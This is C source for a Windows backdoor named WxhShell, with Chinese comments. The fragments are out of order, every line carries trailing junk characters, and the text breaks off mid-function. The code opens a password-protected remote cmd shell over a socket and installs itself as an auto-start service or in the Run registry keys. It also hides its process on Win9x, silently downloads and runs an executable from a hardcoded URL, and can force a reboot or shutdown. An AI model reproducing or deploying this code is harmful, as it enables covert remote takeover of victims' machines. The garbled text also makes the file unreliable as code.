    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bS|h~B]rd  
    else { Mp5Z=2l5  
    closesocket(wsh); .Q</0*sp  
    ExitThread(0); I A=\c  
    } ]U4C2}u  
    break; Ttb?x<)+8  
    } f0g_Gn $  
  // 获取shell <[gN4x>'  
  case 's': { 8&x&Ou$("V  
    CmdShell(wsh); /^~)iTwH  
    closesocket(wsh);  HsG3s?*  
    ExitThread(0); V+})$m*>  
    break; LsMq&a-j2  
  } WT 5 2  
  // 退出 tC+1 1M  
  case 'x': { >"zN`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7|ACJv6%9  
    CloseIt(wsh); V2m= m}HQ  
    break; .)t*!$5=N  
    } (LVzE_`  
  // 离开 ,4,./wIq  
  case 'q': { @Ko}Td&E(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ! v%%_sRV  
    closesocket(wsh); W$D:mw7  
    WSACleanup(); ZS&+<kGD  
    exit(1); .q 4FGPWz  
    break; Xa U ^^K  
        } o|s|Wm x>u  
  } 8RZqoQDH  
  } &$pQ Jf  
Ni;jMc  
  // 提示信息 EUPc+D3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6SAYe%e  
} zP!j {y4w  
  } dHn,;Vv^6  
R C!~eJG!  
  return; HErG%v]nw  
} d(D|rf,av  
|t58n{V.O  
// shell模块句柄 cGg ~+R2P  
int CmdShell(SOCKET sock) m$'ZiS5  
{ `Z@qWB<  
STARTUPINFO si; w/ID y Q  
ZeroMemory(&si,sizeof(si)); pe\]}&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wjd_|Kui  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )RT:u)N  
PROCESS_INFORMATION ProcessInfo; -{*QjP;K  
char cmdline[]="cmd"; UQT=URS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Og2w] B[  
  return 0; B1U7z1<  
} .T~Oc'wGo  
&x[V<Gq  
// 自身启动模式 :{#w-oC>6P  
int StartFromService(void) a0wpsl iF  
{ vWYU'_=  
typedef struct ^{O1+7d[.  
{ _6sSS\  
  DWORD ExitStatus; V$  MMK  
  DWORD PebBaseAddress; Ez^wK~  
  DWORD AffinityMask; Q"GZh.m  
  DWORD BasePriority; Lnltt86  
  ULONG UniqueProcessId; 9iK%@k  
  ULONG InheritedFromUniqueProcessId; 5.U|CL  
}   PROCESS_BASIC_INFORMATION; F{m?:A  
H|d"45J_  
PROCNTQSIP NtQueryInformationProcess; )f`oCXh  
e yByAT~W,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #ChF{mh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q+ 9c81b  
(;nh?"5  
  HANDLE             hProcess; Bh q]h  
  PROCESS_BASIC_INFORMATION pbi; eC$ Jdf  
b;G#MjQp'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jQ P2[\  
  if(NULL == hInst ) return 0; E^Z?X2Z  
Bc?KAK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  }}d,xI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WSx0o}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); { =IAS}  
E*UE?4FSw|  
  if (!NtQueryInformationProcess) return 0; ]6?6 k4@  
5k<0>6;XH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pJ@D}2u(  
  if(!hProcess) return 0; '!XVz$C  
_Qf310oONS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y$eO:67;  
P?`a{sl.  
  CloseHandle(hProcess); 'iEu1! t\0  
7MwS[N%#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qZh}gu*>  
if(hProcess==NULL) return 0; `mDCX  
6"U$H$i.G  
HMODULE hMod; `R_;n#3F0  
char procName[255]; 2?(dS  
unsigned long cbNeeded; z~RE}k  
{} Zqaf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;v%f +  
Jw -3G3h  
  CloseHandle(hProcess); Ibu  5  
bb`8YF+?'  
if(strstr(procName,"services")) return 1; // 以服务启动 a~Y`N73/c  
<3[0A;W=1  
  return 0; // 注册表启动 lemUUl(^  
} D'\gy$9m1  
]9$^=z%SE  
// 主模块 o+FDkqEN  
int StartWxhshell(LPSTR lpCmdLine) WKONK;U+7  
{ }Gh95HwE  
  SOCKET wsl; O g!SFg*  
BOOL val=TRUE;  M_f.e!?  
  int port=0; @@#h-k%k-  
  struct sockaddr_in door; [|APMMYK1  
\) g?mj^  
  if(wscfg.ws_autoins) Install(); cFloaCz  
9<1dps=c  
port=atoi(lpCmdLine); q3/ 0xN+?  
Xny{8Oo<1?  
if(port<=0) port=wscfg.ws_port; '>#8 F.  
,^&amWey  
  WSADATA data; ->a |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ox&]{  
8QFg6#"O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (cm8x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EVDcj,b"^  
  door.sin_family = AF_INET; lWk/vj<5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cPPTGpqw  
  door.sin_port = htons(port); %HcCe[d5l  
A$W~R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zEs:OOM  
closesocket(wsl); fnJt8Y4  
return 1; gH|:=vfYUR  
} 7Nlk:f)*-  
>AUzsQ  
  if(listen(wsl,2) == INVALID_SOCKET) { `z<I<  
closesocket(wsl); )i$KrN6  
return 1; ({WV<T&  
} 4~z-&>%  
  Wxhshell(wsl); H[U"eS."  
  WSACleanup(); NWII?X#T}  
F4 =V* /7  
return 0; >|g(/@IO  
?dAy_| zD  
} EEj.Kch}4  
sc$I,|d2  
// 以NT服务方式启动 @ x5LrQ_`r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O#x=iZI  
{ OzUo}QN  
DWORD   status = 0; D7v_ <  
  DWORD   specificError = 0xfffffff; }sW%i#CV  
ibh,d.*~g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]Yk)A.y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jAy 0k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X v$"B-j  
  serviceStatus.dwWin32ExitCode     = 0; cng166}1A  
  serviceStatus.dwServiceSpecificExitCode = 0; EfGy^`,'G  
  serviceStatus.dwCheckPoint       = 0; \U.js-  
  serviceStatus.dwWaitHint       = 0; M&` b\la  
aBWA hn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4XIc|a Aa  
  if (hServiceStatusHandle==0) return; 9G^gI}bY  
ZMO ym=  
status = GetLastError(); (W+aeB0  
  if (status!=NO_ERROR) kxt/I<cs  
{ |H>;a@2d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1;eWnb(  
    serviceStatus.dwCheckPoint       = 0; nt$q< 57  
    serviceStatus.dwWaitHint       = 0; *g[MGyF "  
    serviceStatus.dwWin32ExitCode     = status; LyRW\\z2  
    serviceStatus.dwServiceSpecificExitCode = specificError; R$i-%3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a6\`r^@  
    return; -.l.@  
  } . :~E.b  
0HN%3AG]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8T88  
  serviceStatus.dwCheckPoint       = 0; V E?Aa  
  serviceStatus.dwWaitHint       = 0; lESv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zJo?,c  
} DcN!u6sJ  
 Lr0:y o  
// 处理NT服务事件,比如:启动、停止 _fS4a134R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O~m Q\GlW  
{ z! :0%qu  
switch(fdwControl) lcK4 Uq\q  
{ Z?u}?-b1\H  
case SERVICE_CONTROL_STOP: D!&]jkUN  
  serviceStatus.dwWin32ExitCode = 0; h 27f0x9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D~n-;T  
  serviceStatus.dwCheckPoint   = 0; aNP\Q23D  
  serviceStatus.dwWaitHint     = 0; q7<=1r+  
  { VxtX%McK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zI4d|P  
  } }m&\I  
  return; >R5A@0@d5  
case SERVICE_CONTROL_PAUSE: U9jdb9 |  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5+yy:#J]  
  break; !*S,S{T8  
case SERVICE_CONTROL_CONTINUE: xjD."q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HuR774f[  
  break; (I/ iD.A  
case SERVICE_CONTROL_INTERROGATE: #}l$<7Z U  
  break; %xr'96d  
}; ubRhJ~XB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z/fSs tN  
} ,&y_^-|d  
d0R;|p''Z  
// 标准应用程序主函数 k(o(:-+x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QAAuFZs  
{ Lp/'-Y_  
!{fu(E  
// 获取操作系统版本 c\/-*OYr<  
OsIsNt=GetOsVer(); _>ZC;+c?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); suE8"v!sk  
[5ncBY*A7  
  // 从命令行安装 Kj)sL0  
  if(strpbrk(lpCmdLine,"iI")) Install(); 41P0)o  
s\<UDW  
  // 下载执行文件 TO.STK`  
if(wscfg.ws_downexe) { 6l T< lzT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -xbs'[  
  WinExec(wscfg.ws_filenam,SW_HIDE); cQ'x]u_  
} 3iUJ!gK  
:s \zk^h?  
if(!OsIsNt) { fef y`J  
// 如果时win9x,隐藏进程并且设置为注册表启动 wE"lk  
HideProc(); MV2$0  
StartWxhshell(lpCmdLine); \Zh&[D!2  
} ay|jq "a  
else <B>hvuCoH  
  if(StartFromService()) p3Ozfk  
  // 以服务方式启动 -<9Qez)y  
  StartServiceCtrlDispatcher(DispatchTable); {~w(pAx  
else h(R7y@mp\0  
  // 普通方式启动 V'tR \b  
  StartWxhshell(lpCmdLine); Zb2PFwcy  
Bex;!1  
return 0; 0U:X[2|)  
} JdLPIfI^  
9HEqB0|ZRu  
7r^Cs#b+I  
(>E/C^Tc%  
=========================================== #d*0 )w  
RyU8{-q  
5*+DN U@  
'J3yJ{  
!Z |_3  
4_ypFuS^  
" [V qiF~o,  
Wp+lI1t  
#include <stdio.h> I?E+  
#include <string.h> 8)> T>-os  
#include <windows.h> FPkk\[EU  
#include <winsock2.h> 8#g}ev@|u  
#include <winsvc.h> t- TUP>_  
#include <urlmon.h> R)ZzRz|/  
mj'N)6ga  
#pragma comment (lib, "Ws2_32.lib") 0|J9Btbp  
#pragma comment (lib, "urlmon.lib") {to(?`Y  
qA\&%n^ j]  
#define MAX_USER   100 // 最大客户端连接数 vH-|#x~  
#define BUF_SOCK   200 // sock buffer * xmC`oP  
#define KEY_BUFF   255 // 输入 buffer Lq ;~6  
Nsq=1) <  
#define REBOOT     0   // 重启 U<;{_!]  
#define SHUTDOWN   1   // 关机 bq) 1'beW  
S7WHOr9XMV  
#define DEF_PORT   5000 // 监听端口 (n8?+GCa  
)">#bu$  
#define REG_LEN     16   // 注册表键长度 y z!L:1DG  
#define SVC_LEN     80   // NT服务名长度 2wnk~URj  
,9}JPv4Z  
// 从dll定义API a'/C)fplL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G6qZ>-GiL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j,;f#+O`g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SXYwhID=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &WLN   
xb%Q[V_m  
// wxhshell配置信息 04&S.#+(  
struct WSCFG { 2O@ON/  
  int ws_port;         // 监听端口 I4+1P1z  
  char ws_passstr[REG_LEN]; // 口令 H! 5Ka#B  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8+dsTX`|S  
  char ws_regname[REG_LEN]; // 注册表键名 R+0gn/a[G  
  char ws_svcname[REG_LEN]; // 服务名 P^=B6>e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0^Vw^]w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a%BC{XX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /3k[3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m1j Eky(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7Hv 6>z#m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2bLc57j{`9  
`7y3C\zyQ  
}; re/u3\S  
<9"@<[[,  
// default Wxhshell configuration t( V 2  
struct WSCFG wscfg={DEF_PORT, %'h:G Bkd  
    "xuhuanlingzhe", PX_9i@ZG  
    1, T^vo9~N*  
    "Wxhshell", E;4B!"Q8  
    "Wxhshell", F.x7/;  
            "WxhShell Service", Rf8ZH  
    "Wrsky Windows CmdShell Service", r>|S4O  
    "Please Input Your Password: ", X_nbNql  
  1, Oi& 9FS  
  "http://www.wrsky.com/wxhshell.exe", Sin)]zG~0  
  "Wxhshell.exe" HJJ)DE7;  
    }; G~.VW48{n  
x=a#|]ngG  
// 消息定义模块 c(vi,U-hC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1|-C(UW>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RA!m,"RM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mt0v (  
char *msg_ws_ext="\n\rExit."; sx;/xIU|  
char *msg_ws_end="\n\rQuit."; a6ryyt 5  
char *msg_ws_boot="\n\rReboot..."; T,a{mi.hNR  
char *msg_ws_poff="\n\rShutdown..."; 0S;Ipg  
char *msg_ws_down="\n\rSave to "; t4d/%b~{:U  
YGM7?o  
char *msg_ws_err="\n\rErr!"; p=eSJ*  
char *msg_ws_ok="\n\rOK!"; "k  
;nbEV2Y<  
char ExeFile[MAX_PATH]; 3AR'Zvn  
int nUser = 0; Gw-{`<CxE  
HANDLE handles[MAX_USER]; )BI%cD  
int OsIsNt; .Jg<H %%f  
n#WOIweInf  
SERVICE_STATUS       serviceStatus; {wt9/IlG1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gdx %#@/  
*L>usLh  
// 函数声明 z;@<J8I  
int Install(void); s0vcGh#w  
int Uninstall(void); G.iQ\'1_h  
int DownloadFile(char *sURL, SOCKET wsh); MFO%F) 5  
int Boot(int flag); ;,TT!vea  
void HideProc(void); --TH6j"  
int GetOsVer(void); n%;tVa  
int Wxhshell(SOCKET wsl); g(s}R ?  
void TalkWithClient(void *cs); {Fyw<0 [@  
int CmdShell(SOCKET sock); s2QgR37s>  
int StartFromService(void); $^ir3f+  
int StartWxhshell(LPSTR lpCmdLine); KYKF$@ <G  
]v@ng8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }3XjP55  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :4X,5X7tW=  
wRwx((eb  
// 数据结构和表定义 +kxk z"fP  
SERVICE_TABLE_ENTRY DispatchTable[] = H3d|eO4+W  
{ K)`R?CZ:s  
{wscfg.ws_svcname, NTServiceMain}, ,g?M[(wtc  
{NULL, NULL} 0e]J2>  
}; >b3IZ^SB#$  
{[NQD3=+F  
// 自我安装 1yU!rEH  
int Install(void) OEbZs-:  
{ t VX|e2Y  
  char svExeFile[MAX_PATH]; wV$V X  
  HKEY key; RN1KM  
  strcpy(svExeFile,ExeFile); hhylsm  
=8p[ (<F=  
// 如果是win9x系统,修改注册表设为自启动 jamai8  
if(!OsIsNt) {  }l]r-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HP3%CB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <>-gQ9  
  RegCloseKey(key); M_75bU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ud>hDOJ3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hN1 [*cF  
  RegCloseKey(key); n],cs  
  return 0; 4T&Jlu?:  
    } p{r{}iYI  
  } R~TG5^(  
} ko!aX;K  
else { ^H<VH  
\[+':o`LH  
// 如果是NT以上系统,安装为系统服务 Z Wx[@5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QiRx2Z*\  
if (schSCManager!=0) }!s$ / Kn  
{ [ CU8%%7  
  SC_HANDLE schService = CreateService 1_}k)(n  
  ( !g>mjD  
  schSCManager, d]=>U^K  
  wscfg.ws_svcname, #&{)`+!"  
  wscfg.ws_svcdisp, u6\W"LW  
  SERVICE_ALL_ACCESS, \vj xCkg{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =PLy^%  
  SERVICE_AUTO_START, ;4oKF7]   
  SERVICE_ERROR_NORMAL, a,M/i&.e`  
  svExeFile, mn{R>  
  NULL, Xa>c ]j  
  NULL, #]}G{ P  
  NULL, L`^ v"W()  
  NULL, \jkDRR[  
  NULL F 'HYWH0?  
  ); 6ESS>I"su  
  if (schService!=0) )OGO wStz  
  { "bO]AG  
  CloseServiceHandle(schService); ZhoB/TgdL  
  CloseServiceHandle(schSCManager); ,Qe`(vU*s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  :KRe==/  
  strcat(svExeFile,wscfg.ws_svcname); 63i&e/pv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9B3}LVg\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *(*XNd||  
  RegCloseKey(key); .8|5;!`WB  
  return 0; '+S!>Lqb  
    } zfml^N  
  } gp{P _  
  CloseServiceHandle(schSCManager); mA3yM#  
} hJJo+NNN  
} (jE[W:  
\ $9n `  
return 1; Y:'c<k  
} jLul:* L  
u/?;J1z:  
// 自我卸载 4Gy3s|{  
int Uninstall(void) hA"z0Fszh  
{ ue}lAW{q  
  HKEY key; jin?;v  
r3Ih]|FK#  
if(!OsIsNt) { ve=1y)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'BEM:1)  
  RegDeleteValue(key,wscfg.ws_regname); YjG:ECj}  
  RegCloseKey(key); T=cb:PD{%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nQ'AB~ Do  
  RegDeleteValue(key,wscfg.ws_regname); !un_JZD  
  RegCloseKey(key); pQ+4++7ID  
  return 0; j%*<W> O  
  } |:`gjl_Nf  
} ~x +24/qT  
} TUO#6  
else { Zxv{qbF  
FEg&EYI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s8kkf5bu  
if (schSCManager!=0) z*:.maq  
{ =G<S!qW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X_I.f6v{  
  if (schService!=0) #+P)X_i`  
  { ?DJ,YY9P  
  if(DeleteService(schService)!=0) { ( e(<4-&  
  CloseServiceHandle(schService); %G~%:uJ5  
  CloseServiceHandle(schSCManager); =CO#Q$  
  return 0; "[ ]72PC  
  } af7\2 g3*  
  CloseServiceHandle(schService); ~E7=c3:"  
  } D#&N?< }  
  CloseServiceHandle(schSCManager); gLv";"4S  
} .J|" bs9  
} ^`!EpO>k9  
o"A%dC_  
return 1; nF| m*_DW  
} <0)@Ikhx  
uI[lrMQYa  
// 从指定url下载文件 IqONDdep9  
int DownloadFile(char *sURL, SOCKET wsh) P!2[#TL0  
{ ,t>/_pI+=  
  HRESULT hr; @AkD-}^[  
char seps[]= "/"; W*|U  
char *token; )c<5:c  
char *file; "7a;Ap q*  
char myURL[MAX_PATH]; rB%acTCz=[  
char myFILE[MAX_PATH]; Q1@V?`rkS{  
#9Dixsl*Q  
strcpy(myURL,sURL); }u..m$h  
  token=strtok(myURL,seps); 3&JsYQu  
  while(token!=NULL) K29KS)~;W  
  { Ib8xvzR6I&  
    file=token; g8w5X!Z  
  token=strtok(NULL,seps); b$)XS  
  } yq>3IS4O  
MA:8g D  
GetCurrentDirectory(MAX_PATH,myFILE); Z$5@r2d)  
strcat(myFILE, "\\"); 9Q%Fel.  
strcat(myFILE, file); ^Q4m1? 40  
  send(wsh,myFILE,strlen(myFILE),0); v0}.!u>Ww  
send(wsh,"...",3,0); r@(hRl1k'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8>K2[cPD  
  if(hr==S_OK) O ijG@bI8  
return 0; *tT }y(M  
else %.D@{O  
return 1; ve / Q6j{  
N~ XzgI  
} nPUq+cXy]C  
{*%'vVv+  
// 系统电源模块 5 lC"10  
int Boot(int flag) GVp2| \-L  
{ 8V3SZ17  
  HANDLE hToken; QJ s /0iw  
  TOKEN_PRIVILEGES tkp; P A9 ]L  
l4d2 i;4BK  
  if(OsIsNt) { u37@9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =jmn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ghiFI<)VY  
    tkp.PrivilegeCount = 1; wLC|mByq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A`Bg"k:D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .HG0%Vp  
if(flag==REBOOT) { ,Tyh._sa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PTvP;  
  return 0; |nj%G<  
} <H~  (iQ  
else { ZUMzWK5Th  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T{j&w%(z  
  return 0; `riK[@  
} ( UV8M\  
  } s?5(E}  
  else { Tl Z|E '_C  
if(flag==REBOOT) { \^3\_T&6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -U=bC   
  return 0; eW+z@\d9Gz  
} QSy=JC9  
else { /cDla5eej  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ` oYrW0Vm  
  return 0; ' 7>V4\"  
} */RtN`dh  
} |k> _ jO  
:nw4K(:f  
return 1; avk0pY(n  
} W!z=AL{  
f?_H02j`/E  
// win9x进程隐藏模块 nlK"2/W  
void HideProc(void) -`B|$ W  
{ uV*&a~  
Wel-a< e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dd>stp   
  if ( hKernel != NULL ) :\48=>  
  { 5o2;26c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \ey3i((L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t*^Q`V wQ  
    FreeLibrary(hKernel); +B%ZB9  
  } `hL16S  
5>JrTO 5  
return; dH zo_VV  
} >t O(S  
BfIGw  
// 获取操作系统版本 -2mm 5E~N  
int GetOsVer(void) QE$sXP7 &u  
{ y%\kgWV  
  OSVERSIONINFO winfo; cyG3le& +G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {v56k8uZ  
  GetVersionEx(&winfo); <`a!%_LC [  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C jsy1gA  
  return 1; O%y.  
  else $ T.c>13  
  return 0; V\WqA8  
} 6<R!`N 6  
]7-*1kL8=~  
// 客户端句柄模块 ^6|Q$]}Ok  
int Wxhshell(SOCKET wsl) =ex71qj)  
{ NS;,(v{*N  
  SOCKET wsh; X[ }5hZcX  
  struct sockaddr_in client; uG2Hzav  
  DWORD myID; J(VJMS;_  
c:4M|t=  
  while(nUser<MAX_USER) {o4m3[C7=}  
{ +EJIYvkFm  
  int nSize=sizeof(client); y'pAhdF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kl_JJX6jPP  
  if(wsh==INVALID_SOCKET) return 1; DnP>ed"M!  
a&p|>,WS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tD.md _E  
if(handles[nUser]==0) |28z4.  
  closesocket(wsh); ub6=^`>h  
else kc\^xq~  
  nUser++; iu2{%S)w  
  } Je[wGF:%:$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cWP34;NNM  
m49GCo k+  
  return 0; `\P#TBM  
} ?A;x%8}  
ksT2_Ic  
// 关闭 socket nWfOiw-t  
void CloseIt(SOCKET wsh) M;,Q8z%  
{ ]i)m   
closesocket(wsh); ,n}X,#]  
nUser--; xg k~y,F  
ExitThread(0); YgC J s;  
} mTT1,|  
L\XnTL{  
// 客户端请求句柄 p@y?xZS  
void TalkWithClient(void *cs) %:sQ[^0  
{ DZ |0CB~  
+dcBh Dq  
  SOCKET wsh=(SOCKET)cs; Q-_&5/G  
  char pwd[SVC_LEN]; htj:Z:C`  
  char cmd[KEY_BUFF]; hMh8)S  
char chr[1]; Ro`9Ibqr  
int i,j; yf*^Y74  
$rv&!/}]e  
  while (nUser < MAX_USER) { ;z/Z(7<; ;  
;tP-#Xf  
if(wscfg.ws_passstr) { $+!/=8R)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SZW`|ajH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8<z+hWX=4  
  //ZeroMemory(pwd,KEY_BUFF); 1WRQjT=o  
      i=0; a.#`>  
  while(i<SVC_LEN) { UR44 iA]  
Ds? @ LE|  
  // 设置超时 }9<pLk  
  fd_set FdRead; ~tWIVj{  
  struct timeval TimeOut; h5e(Avk  
  FD_ZERO(&FdRead); $014/IB  
  FD_SET(wsh,&FdRead); /-)\$T1d  
  TimeOut.tv_sec=8; ) gbns'Z<  
  TimeOut.tv_usec=0; w5w,jD[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OOn{Wp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ov*?[Y7|~  
U}<5%"!;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E*'sk  
  pwd=chr[0]; kAA1+rG  
  if(chr[0]==0xd || chr[0]==0xa) { :*Lr(-N-  
  pwd=0; 7)tkqfb]  
  break; VPoA,;Y"-  
  } mD<- <]SYp  
  i++; T^> ST  
    } >7i&(6L  
$ (/=Wn  
  // 如果是非法用户,关闭 socket _GS_R%b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +e}v) N  
} hkB/ OJ  
$5N%!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ],#Xa.r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y S/x;  
jD1/`g%  
while(1) { ;c p*]  
'c7C*6;a  
  ZeroMemory(cmd,KEY_BUFF); 5]pvHc  
#@FMH*?xX6  
      // 自动支持客户端 telnet标准   m:&go2Y  
  j=0; h|qTMwPr  
  while(j<KEY_BUFF) { R8|H*5T?+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M#%l}  
  cmd[j]=chr[0]; OSreS5bg  
  if(chr[0]==0xa || chr[0]==0xd) { -5vg"|ia,  
  cmd[j]=0; AX($LIy9P  
  break; g2 7 iE  
  } )#S;H$@$  
  j++; nSY3=Edx=  
    } ;Z^\$v9?  
N~H!6N W  
  // 下载文件 B' }h6ZH  
  if(strstr(cmd,"http://")) { 9U~fc U6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U )kl !  
  if(DownloadFile(cmd,wsh)) >T84NFdz+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Buc{dcL/  
  else NULew]:5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |i_+b@Lul  
  } 8Of.n7{  
  else { Gak@Z!|  
^m0nInH  
    switch(cmd[0]) { \f~m6j$D_  
  `CpfQP&^  
  // 帮助 XZ%3PMq  
  case '?': { nA owFdCD  
